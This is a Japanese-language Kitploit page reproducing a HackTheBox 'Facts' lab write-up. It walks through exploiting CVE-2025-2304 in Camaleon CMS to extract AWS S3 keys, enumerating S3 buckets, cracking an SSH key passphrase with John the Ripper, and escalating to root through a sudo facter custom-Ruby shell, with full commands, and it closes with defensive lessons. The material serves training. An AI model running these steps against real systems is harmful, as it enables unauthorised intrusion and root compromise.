Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
htb-facts — HackTheBox — ファクト (Easy/Linux) | CVE-2025-2304 + AWS S3 + SSHキー + Facter権限昇格 | Kitploit
ツール/GitHubGitHub/mattiapertusati/htb-facts
パスワードクラッキング特権昇格偵察脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテストクラウドセキュリティ学習と教育
GitHubmattiapertusati/htb-facts

htb-facts

34ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

HackTheBox — ファクト (Easy/Linux) | CVE-2025-2304 + AWS S3 + SSHキー + Facter権限昇格

リポジトリを見る

HTB — Facts (Easy/Linux) - シーズン10

HTB Difficulty OS Status Techniques Techniques PrivEsc

概要

FactsはEasyなLinuxマシンで、Camaleon CMSの既知の脆弱性(CVE-2025-2304)を悪用してローカルのAWS S3認証情報を抽出する必要があります。内部のS3バケットを列挙するとSSH秘密鍵が見つかり、John the Ripperを使ってそれを解析して初期アクセスを得ます。権限昇格は/usr/bin/facterのsudo設定ミスを悪用して、カスタムRubyコードを実行し、rootシェルを取得することで達成されます。

攻撃チェーン: Nmap → Camaleon CMS (CVE-2025-2304) → S3バケット列挙 → SSH鍵クラック → sudo facter → Root


偵察

ポートスキャン

ターゲットマシン上のアクティブなサービスを特定するために、Nmapスキャンから始めましょう。

root@kitploit:~
nmap -sV -sC -oN nmap_facts 10.129.244.96

結果:

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.26.3 (Ubuntu) |_http-title: facts |_http-server-header: nginx/1.26.3 (Ubuntu)

Nmap Scan

Nmapは22番(SSH)と80番(HTTP)の2つのオープンポートを明らかにしました。WebサーバーはNginxベースです。サイトに正しくアクセスする前に、hostsファイルに facts.htb を追加する必要があります。

root@kitploit:~
echo “10.129.244.96 facts.htb” | sudo tee -a /etc/hosts

Web列挙

ポート80のサイトにアクセスすると、標準的なWebページが表示されます。隠されたパスを見つけるために、ディレクトリブルートフォース攻撃(例:ffufやgobuster)を実行します。

root@kitploit:~
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://facts.htb/FUZZ

列挙の結果、管理パネルに関連するいくつかの興味深いディレクトリ(/admin、/admin.phpなど)が見つかり、これらはすべて302ステータスで http://facts.htb/admin/login にリダイレクトされます。

Enumeration

ログインページにアクセスして認証する(またはパネルのフッターを見る)と、サイトの技術スタックが Camaleon CMS であることがわかります。

右下の隅に注目すべき詳細があります:CMSのバージョンは 2.9.0 です。

Admin Panel


エクスプロイト

Camaleon CMS (CVE-2025-2304)

サーバーが Camaleon CMS 2.9.0 を実行していることがわかり、オンラインで簡単に検索すると、CVE-2025-2304 として知られる重大な脆弱性が発見されます。これにより、認証済みユーザーから管理者への権限昇格が可能になります。

GitHub上で公開されているエクスプロイト(Alien0ne 作成)を見つけ、攻撃マシンにダウンロードします。

GitHub Exploit

手元にある認証情報(例:mattia:mattia)を渡してエクスプロイトを実行し、管理者に昇格して機密情報を抽出し、その後元のロールに戻して目立たないようにします。

root@kitploit:~
python3 exploit.py -u http://facts.htb -U mattia -P mattia --newpass mattia -e -r

エクスプロイトの出力は金鉱です。ローカルのAWS S3認証情報とサーバーが使用する内部エンドポイントを抽出することに成功しました。

  • S3 Access Key: AKIAA103ACAA5953D888
  • S3 Secret Key: ELsaDX4pIZYwPJf+dVdUuoHtkwGsRPvKIGCmDfiR
  • S3 Endpoint: http://localhost:54321 (我々にとっては http://facts.htb:54321 になる)

Exploit


S3バケット列挙

これらのキーを使って、ローカルのAWS CLIを設定し、マシンが公開しているS3サービスと対話できます。

root@kitploit:~
aws configure
# 見つけたAccess KeyとSecret Keyを入力
# Default region: us
# Default output format: json

次に、カスタムエンドポイントURLを指定して利用可能なバケットを一覧表示します。

root@kitploit:~
aws --endpoint-url http://facts.htb:54321 s3 ls

internal と randomfacts の2つのバケットが見つかります。internal バケットを再帰的に探索すると、.ssh フォルダーにキーが含まれていることを発見します。

root@kitploit:~
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/ --recursive

id_ed25519 ファイル(SSH秘密鍵)をマシンにダウンロードしましょう。


SSH鍵クラック

秘密鍵はありますが、パスフレーズで保護されています。これを解析するためにJohn the Ripperスイートを使用します。まず、ssh2john を使って鍵をJohnが読める形式に変換します。

root@kitploit:~
ssh2john id_ed25519 > hash.txt

次に、辞書攻撃を実行します(カスタムワードリスト my_guess.txt または古典的な rockyou.txt を使用)。

root@kitploit:~
john --wordlist=my_guess.txt hash.txt

パスワードが正常に解析されました:dragonballz。これでサーバーにアクセスする準備が整いました。

Exploit


権限昇格

必要なものがすべて揃ったので、先ほど見つけたもう一つのオープンポート、SSHポート(22)を活用します。

root@kitploit:~
ssh -i id_ed25519 [email protected]

先ほど見つけたパスワード dragonballz を使用します。ログイン成功!

次に、root アクセスを得るためにどのパスを悪用できるか調べるため、sudo -l を実行します。

パス:

/usr/bin/facter

このパスを悪用するために、小さなスクリプトを使用します。

root@kitploit:~
echo 'Facter.add(:pwn) do
  setcode do
    exec (“/bin/bash -p”)
  end
end' > /tmp/pwn.rb

そして実行します。

root@kitploit:~
sudo /usr/bin/facter --custom-dir=/tmp pwn

SSH

正式にrootになりました!!!

あとは2つのフラグを見つけるだけです :)

FLAG


学んだ教訓

攻撃的視点

  • CMSのバージョン情報がフッターやヘッダーに表示されていると、即座に攻撃対象領域が明らかになる
  • 特定のバージョンに対するCVEの調査は、フィンガープリント後の常に最初のステップである
  • 内部のS3などのサービスは、公開を意図していない機密データを露出させる可能性がある
  • クラウドストレージ内のSSH秘密鍵は、実際の環境でも見られる重大な設定ミスである

防御的視点

  • AWS認証情報をアプリケーションコードやアクセス可能なストレージに絶対に公開しない
  • S3バケットの権限を厳格に制限する — 内部バケットは決して公開列挙可能にしてはならない
  • sudo権限を定期的に監査する — NOPASSWD付きのfacterはrootへの直接のパスとなる
  • CMSソフトウェアを常に最新に保つ — CVE-2025-2304にはパッチが存在していた

攻撃チェーン概要

NMAP — 2ポート発見 (22, 80) ↓ Web列挙 — 管理者セクション発見 ↓ Camaleon CMS -> CVE-2025-2304 ↓ エクスプロイト + AWS設定 ↓ John the ripperでハッシュ解析 ↓ SSHログイン ↓ Sudo -l ↓ スクリプト + 実行 ↓ ROOT ✅


参考文献

  • CVE-2025-2304
  • Camaleon CMS
  • GTFOBins — facter
  • HackTheBox — Facts
ツールをダウンロード